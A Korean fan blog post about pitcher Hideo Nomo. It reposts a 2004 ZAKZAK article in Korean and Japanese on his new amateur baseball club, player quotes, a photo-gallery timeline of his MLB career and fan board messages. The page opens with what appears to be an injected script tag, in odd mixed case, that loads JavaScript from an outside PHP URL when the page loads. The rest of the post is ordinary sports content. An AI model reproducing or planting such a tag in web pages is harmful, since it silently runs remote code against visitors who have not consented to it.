<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script>오늘은 석간후지 엑서스 랭킹 7위의 기사를 퍼왔습니다.
올 한 해 노모 투수 부진했었지요...하지만..
내년에는 과거에 화려했던 토네이도의 모습을 다시 봤으면 좋겠습니다.



[2004 석간후지 엑서스 랭킹 특집 펌]
http://www.zakzak.co.jp/rank2004/spo_kiji/s2004012308.html



노모, 철가면 뒤에 의외의 참모습…보도진도 깜짝놀라 (7위)
평소 말이 없는 사나이가 기자회견장에서 정중히 답변에 응해
７位, ノモ、鉄仮面の下の意外な素顔…報道陣ビックリ
普段無口な男が会見で丁寧に受け答え




사재(私財)를 털어 야구팀을 만든 노모。그 발상은 침체일로에 있는 일본 야구계의 토네이드가 될 것인지?
私財を投じて野球チームをつくってしまった野茂。その発想は低迷する日本球界のトルネードとなるか



올해로 메이저 10년차를 맞이하는 다저스의 노모 히데오 투수(35)가, 이치로, 고질라 마쓰이의 그늘에 가려, 거의 존재가 잊혀져가고있다.　
今年メジャー１０年目を迎えるドジャース・野茂英雄投手（３５）が、イチロー、ゴジラ松井の陰で、ほとんど存在を忘れかけられている。


회견장을 가득 메운 보도진으로부터「 노모가 이렇게 지껄이다니…」라는 경탄의 소리가 있었다. 지난 1월 22일, 자신이 설립한 사회인 클럽팀「ＮＯＭＯ베이스볼 클럽 」의 발족회견을 도쿄도내의 호텔에서 개최했다. 준비된 원고를 단조롭게 읽어내려갔다고는 하지만, 열심히 설립취지를 설명하고, 기자들의 질문에도 정중히 답했다.　
会場を埋めた報道陣から「野茂がこんなにしゃべるなんて…」と驚きの声が上がった。２２日、自分が設立した社会人クラブチーム「ＮＯＭＯベースボールクラブ」の始動会見を都内のホテルで開催。用意された原稿の棒読みとはいえ、懸命に設立趣旨を説明し、記者の質問に丁寧に答えた。


평소, 노모의 철가면 같은 모습에는 보도진도 두 손을 들었었다.「 의심이 많고, 자신의 의향에 맞게 보도해주는 매체밖에 상대하지 않는다.」(출판관계자)라는 소리도 있었다. 그 때문인지, 노모의 인기는, 실적에 비해 너무나 낮았다. 　
普段、野茂の鉄仮面ぶりには報道陣がお手上げなのだ。「疑り深くて、自分の意向に沿って報じてくれる媒体しか付き合わない」（出版関係者）との声も。そのせいか、野茂人気は、実績に比べてあまりに低い。


반면, 그에게는 예술가적인 기질의 일면도 있어, ＮＯＭＯ 베이스볼 클럽의 모자에는, 오리지날 캐릭터「ＨＩＤＥＯ군」이 새겨져있다. 참고로, 이 HIDEO군은 6년 전인 98년 여름에, 노모 자신의 발상으로 제작된 것으로, 열쇠고리(세금별도 900 엥)로도 시판됐었지만, ＰＲ부족으로 전혀 알려지지 않았다.
反面、芸術家肌の一面もある。ＮＯＭＯベースボールクラブの帽子には、オリジナルキャラクター「ＨＩＤＥＯくん」が。ちなみに、このＨＩＤＥＯくんは６年前の９８年夏、野茂自身の発案で製作されたもので、キーホルダー（税別９００円）も市販されているのだが、ＰＲ不足で全く認知されていない。



「ＨＩＤＥＯ군」


또한, 유니폼도 노모의 디자인이다.「 만화 건담을 이미지했습니다. 제가 중학생시절에 굉장히 유행했으니까요.」라며, 얼굴을 붉혔다. 확실히 이 유니폼은, 건담에 등장하는 지온군의 군복과 비슷하다.
さらに、ユニホームも野茂のデザイン。「ガンダムをイメージしました。僕の中学時代にすごくはやっていましたから」と顔を赤らめた。確かにこのユニホーム、ガンダムに登場するジオン軍の軍服に似ている。


친구인 오릭스의 요시이(前 메츠)는「 그 뿐만이 아니라, 그 놈은 우리들이 생각지도 못하는 것을 생각했어요.」라고 이야기한 적이 있다. 그「 생각지도 못한 것.」중의 하나가, 이번 ＮＯＭＯ 베이스볼 클럽의 설립이다. 불황의 여파로, 연일 기업 야구팀의 휴폐업이 속출하고있다. 그로인해, 사회인 야구팀은 피크였을 때의 약 3분의 1로까지 감소했다. 그런 불황을 가슴아파하며, 거두어주는 맘으로 동(同)클럽을 설립한 것이다. 향후에는 도시대항 야구대회 출장과, 프로선수 배출을 목표로 한다.　
親友のオリックス・吉井は「それどころか、あいつはおれたちが思いもつかないようなことを考えているんや」と話したことがある。その「思いもつかないこと」のひとつが、今回のＮＯＭＯベースボールクラブの設立だ。不況の影響で、企業の野球部の休廃部が続出。社会人チームはピーク時の約３分の１まで減少している。そんな状況に心を痛め、受け皿として同クラブを設立。今後は都市対抗出場、プロ選手輩出を目指すという。


「 노모상은 포켓머니를 비롯해, 야구용품 비용등으로 수천만 엔 단위의 지출을 하고있습니다.」(관계자)라고 하는 것이니까, 최근에 와서는 보기드문 좋은 소식이 아닐 수 없다. 자신의 이름을 딴 클럽팀 설립이, 감추어졌던 그의 참모습을 세상에 알려, 인기를 업시키는 것으로 연결되기만 한다면 만만세이겠지만.　
「野茂さんはポケットマネーから、用具費用などに数千万円単位の持ち出しをしている」（関係者）というから、最近では珍しい、いい話。自分の名前を冠したクラブチームの設立が、隠されていた素顔を世間にさらし、人気をアップさせることにつながれば万々歳だが。

ZAKZAK 2004/01/23


---------------------------------------



아래는 마쓰이와 파드레스의 오오츠카 투수가 노모 선수에 대해 한 말입니다.


----아래---



「 노모상과는 인사정도밖에 주고받은 것이 없습니다만, 노모상이 없었더라면, 내 자신이 메이저리그에 올 수 있는 분위기는 만들어지지 않았다고 생각합니다. 의지가 강한 선수로 알고있습니다. 그렇지 않으면, 그런 (훌륭한)일은 할 수 없으니까요.」
「野茂さんとはあいさつ程度しか交わしたことがないけれど、野茂さんがいなかったら、自分がメジャーに来る流れにはならなかったと思う。意志が強い人だと感じる。そうでないと、ああいうことはできないから」

일본프로야구기구와 싸움끝에 결별하는 형식으로 노모가 메이저리그에 뛰어들어, 훌륭한 실적을 남김에 따라, 마쓰이 등 일본인 메이저리거에게 길을 터준 것 만큼은 틀림없다.
日本球界とけんか別れの形で野茂がメジャーに飛び込み、実績を残したことによって、松井らに日本人メジャーリーガーへの道筋を作ったことは間違いない。



오오츠카는 원래 노모투수를 동경했다고 했는데, 뭔가 어드바이스는 받았던 것일까?.
「 노모상, 멋있지요. 하지만, 어드바이스는 전연 해주지 않습니다.(웃음)。함께 웨이트 트레이닝을 할 기회도 있었는데요, 역시 그다지 이야기를 많이 하지 않는 사람이더라구요. "믿는 것은 자신, 바로 너 한 사람 뿐이니까." 라고는 말해 주었습니다.」「 "무엇을 직접 하지 않으면 안되는 것은 자신이니까."라고도요. 하지만, 하세가와상은 좀 더 여러가지 말해 주었습니다.」
大塚はもともと野茂投手に憧れていたそうだが、何かアドバイスはもらえたのだろうか。
「野茂さん、カッコいい。でも、アドバイスは全然くれません（笑）。一緒にウェイトトレする機会もありましたが、やっぱりあまり多くを語らない人です。”信じるのは自分おまえ一人だけだからな"」とは言ってくれました。「"やらなくちゃいけないのは自分だからな”とも。でも、長谷川さんはもっといろいろ話してくれましたよ」



===========================================



[메이저저펜 펌]
http://www.major.jp/photo



Photo Gallery　노모、“메이저리그 100승"을 향한 궤적




1.
메이저데뷰 1년째인 1995년 6월 2일, 메츠전에서의 첫 승리를 시작으로 전반기에서 6연승을 올렸습니다. 선망하는 올스타 멤베에도 선정돼, 선발로도 등판하는 영광도 누렸습니다. 아메리칸리그의 강타자 여섯 명을 상대로 2이닝을 무실점, 탈삼진3개의 호투로 전미국에 "NOMO" 이름을 떨쳤습니다.(사진제공:AP/WWP）




2.
1995년에 13승 6패, 방어율 2.54, 236탈삼진이라는 훌륭한 성적을 남기며,내셔널리그 신인왕에 선정됐습니다. 참고로 다저스는 에릭 캐로스 1루수(좌측끝,92년) 마이크 피아자 포수(왼쪽에서 두번째,93년), 라울 몬데시 외야수(중앙,94년), 노모(오른쪽에서 두번째,95년), 토드 홀렌스워스 외야수(우측끝,96년)해서, 5년연속 신인왕을 배출하는 쾌거를 이루어냈습니다. 그러나 이 신인왕 출신 중에서, 지금도 다저스에 재적하고 있는 선수는 "다시 돌아온" 노모 뿐이라는 것은, 어떤 의미에서는 메이저리그의 혹독함을 상징하는 것인지도 모릅니다.(사진제공:AP/WWP）




3.
노모의 괴력의 하나로 들 수 있는 것이 "토네이도 투구법"이라고 불려지는 독특한 투구폼입니다. 크게 휘감으면서, 타자에게 등을 보일 정도로 돌아 그 반동을 살린 역동성은 개성이 풍부한 메이저리그 투수 중에서도 눈에 띄는 이채로움을 띠고있어 팬들의 인기를 모으고 있습니다.(사진제공:AP/WWP）




4.
1996년 9월 17일, 로키스를 상대로 노히트노런을 달성했습니다. 표고 약 1600미터의 고지에 있으며, 타자에게 절대적으로 유리한 쿠어스 필드에서, 그것도 비가 내려 경기개시가 약 2시간이나 지연되는 "더블 헨디" 속에서의 기록달성은 실로 대위업이었습니다. 전광판을 주시해 주세요.(사진제공:AP/WWP）




5.
1998년 6월, 약 3년간에 걸쳐 플레이했던 다저스를 떠나고, 그리운 배터리 마이크 피아자 포수와 긴테츠 버팔로스 시절의 팀메이트 요시이 마사토 투수가 있는 메츠로 이적했습니다. 그러나 개막서부터 계속된 부진에서 탈출하지 못하고, 6승 12패, 방어율 4.92라는 기대에 못미친 성적으로 시즌을 마쳤습니다.(사진제공:AP/WWP）




6.
1999년, 개막을 눈앞에 두고, 돌연 메츠로부터 해고를 통보받았습니다. 그 후, 시카고 컵스의 마이너리그를 거쳐 밀워키 브루워스로 이적. 약 1개월 늦게 시즌에 합류했으나, 메이저 통산 50승을 달성하는 등, 팀내 톱인 12승을 기록했습니다.(사진제공:AP/WWP）




7.
2000년, 전 브루워스의 감독이었던 P.가나 감독이 있는 타이거스로 이적했습니다. 메이저 첫 개막전 투수를 경험하고, 보란 듯이 승리를 올리는 등 순조로운 출발을 하는 것처럼 보였습니다만, 첫 아메리칸리그 구단소속이 부담이 됐는지, 그 후, 승수를 쌓지못하다가, 시즌이 끝나고 보니 8승 12패, 방어율 4.74라는 초라한 성적을 남겼습니다.(사진제공:AP/WWP）




8.
2001년, 월드시리즈 우승을 할 수 있는 팀에서 활약했으면 하는 희망으로 레드삭스로 이적했습니다. 새로운 보금자리에서의 첫 등판이었던 2001년 4월 4일 오리올스전에서, 자신의 두 번째 노히트노런을 달성했습니다. 에이스인 페드로 마르티네스가 부상으로 활약을 못하는 속에, 팀내 톱인 13승을 기록하고, 아메리칸리그 탈삼진왕 타이틀도 획득했습니다만, 팀을 플레이오프에 진출시키지는 못했습니다.(사진제공:AP/WWP）




9.
2002년, 약 3년 반 만에 친정인 다저스로 복귀했습니다. 초반에는 패전을 거듭했으나, 7연승을 2번 기록하는 등, 자신의 최다기록인 16승을 올렸습니다. 부동의 에이스로서, 마지막까지 플레이오프 진출 경쟁을 벌이는데 있어서 팀의 원동력이 됐습니다. 또 마지막 등판이 된 9월 26일의 파드레스전에서는 메이저리그 두 번째의 홈런을 날렸습니다.(사진제공:AP/WWP）




10.
2003년 스프링캠프, 작년 14승을 올린 이시이 가즈히사 투수와의 투샷(two-shot)입니다. 1988년 이래 월드시리즈 우승을 목표로하는 다저스에 있어서, 이 두 사람의 일본인 투수가 팀의 흥망의 열쇠를 쥐고있다고 해도 과언은 아니었습니다. (사진제공:AP/WWP）




11.<다저스 대 자이언츠> 100승 달성
개막전에서 "현역 최고 좌완"다이아몬드백스의 랜디 죤슨과 맞대결을 벌여, 훌륭한 피칭으로 완봉승을 거두며 100승 달성에 한발짝 더 다가갔으나 그후 3게임은 타선의 지원없이 고군분투했습니다. 그러나 이날(4월 20일)은 그때까지 못받았던 빚을 한꺼번에 돌려받는 것처럼 18안타 16득점이라는 대량 지원사격을 받고 마침내 금자탑을 세웠습니다.추카합니다.(사진제공:AP/WWP）


錆び付かない“トルネード”こと野茂, 頑張れ!!
녹슬지 않는 토네이도 노모, 힘내세요!!


--------------------------------------


[야후재팬 게시판에서 펌]



노모상은「벽」을 뛰어넘은 개척자。라는 말에 가슴이 찡☆했습니다. 메이저의 마운드에서 어떤 상황에 있어서도, 결코 희노애락을 드러내지 않았지만, 조은 결과를 남겼습니다. 그런 그의 살아가는 모습에 저도 많은 용기와 감동을 받았습니다. 노모상이 홀로 외로이 마운드에서 승부를 계속하는 한 저는 응원할 겁니다.
野茂さんは「壁」を乗り越えた開拓者。という言葉にジン☆ときました。メジャーのマウンドでどんな状況においても、決して喜怒哀楽を見せないが、結果を残す。そんな彼の生き様に私も沢山の勇気と感動をもらいました。野茂さんが孤高のマウンドで勝負し続ける限り応援し続けます。


다음에 기대하겠습니다. 노모상! 의기소침해 있을 때가 아닙니다!! 나는 좀더 끈기를 갖고 지켜보겠습니다. 그러니, 노모상도 끈기를 갖고・・끈기가 달려서 실투하는 일이 없도록 힘내세요![淚=눈물]
次回に期待しましょう。野茂さん! 落ち込んでる場合じゃありません！！ 私はもうちょっと粘ってみます。だから、野茂さんも粘って・・根負けして失投しないように 頑張ってね。(淚)



새해 복 많이 받으세요...



노래제목 Intro... Arirang ...앨범명: Fiesta ....아티스트: 디자인 (D.Zain)